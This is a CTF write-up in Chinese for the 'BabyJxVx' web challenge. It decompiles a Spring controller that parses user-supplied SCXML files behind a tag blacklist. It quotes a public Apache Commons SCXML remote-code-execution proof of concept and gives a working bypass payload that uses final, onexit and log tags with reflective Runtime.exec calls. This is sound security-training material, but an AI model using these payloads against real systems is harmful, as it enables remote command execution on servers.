Skip to content

WEB-BabyJxVx-海南大学第四届网络安全技能挑战赛

WEB

BabyJxVx

反编译附件查看路由信息

package com.example.babyjxvx.FlagController;

import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.model.SCXML;
import org.apache.commons.scxml2.p004io.SCXMLReader;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
/* loaded from: BabyJxVx.jar:BOOT-INF/classes/com/example/babyjxvx/FlagController/Flagcontroller.class */
public class Flagcontroller {
    private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = dbf.newDocumentBuilder();
        Document doc = builder.parse(fileName);
        int node1 = doc.getElementsByTagName("script").getLength();
        int node2 = doc.getElementsByTagName("datamodel").getLength();
        int node3 = doc.getElementsByTagName("invoke").getLength();
        int node4 = doc.getElementsByTagName("param").getLength();
        int node5 = doc.getElementsByTagName("parallel").getLength();
        int node6 = doc.getElementsByTagName("history").getLength();
        int node7 = doc.getElementsByTagName("transition").getLength();
        int node8 = doc.getElementsByTagName("state").getLength();
        int node9 = doc.getElementsByTagName("onentry").getLength();
        int node10 = doc.getElementsByTagName("if").getLength();
        int node11 = doc.getElementsByTagName("elseif").getLength();
        if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0) {
            return false;
        }
        return true;
    }

    @RequestMapping({"/"})
    public String index() {
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }

    @RequestMapping({"/Flag"})
    @ResponseBody
    public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();
        try {
            if (check(filename).booleanValue()) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.m89go();
                return "Revenge to me!";
            }
            System.out.println("nonono");
            return "revenge?";
        } catch (Exception var5) {
            System.out.println(var5);
            return "revenge?";
        }
    }
}

Flag路由下有xml解析,盲猜存在xee漏洞

然后百度发现了最近的一篇远程rce漏洞

原文地址

Apache Commons SCXML Remote Code ExecutionApache Commons SCXML Remote Code Execution

原文给出的exp

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<assign location="s" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')"/>

</onentry>
</state>
</scxml>

不过在这个题目中存在了很多过滤。想办法绕过

贴一个文档

一文讲通状态机 SCXML与XState对应关系 - 掘金 (juejin.cn)

发现了state被过滤

后续发现了标签可以代替state

然后执行代码的script过滤了可以用其他的代替正好

final标签可以包含标签

然后利用onexit标签构造一个就可以了

具体的exp为

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="wa1ki0g">
    <final id="wa1ki0g">
       <onexit>
            <log location="rce" expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'你的命令')" />
        </onexit>
 </final>
</scxml>

xc注意命令要xml特色字符转义

然后就可以了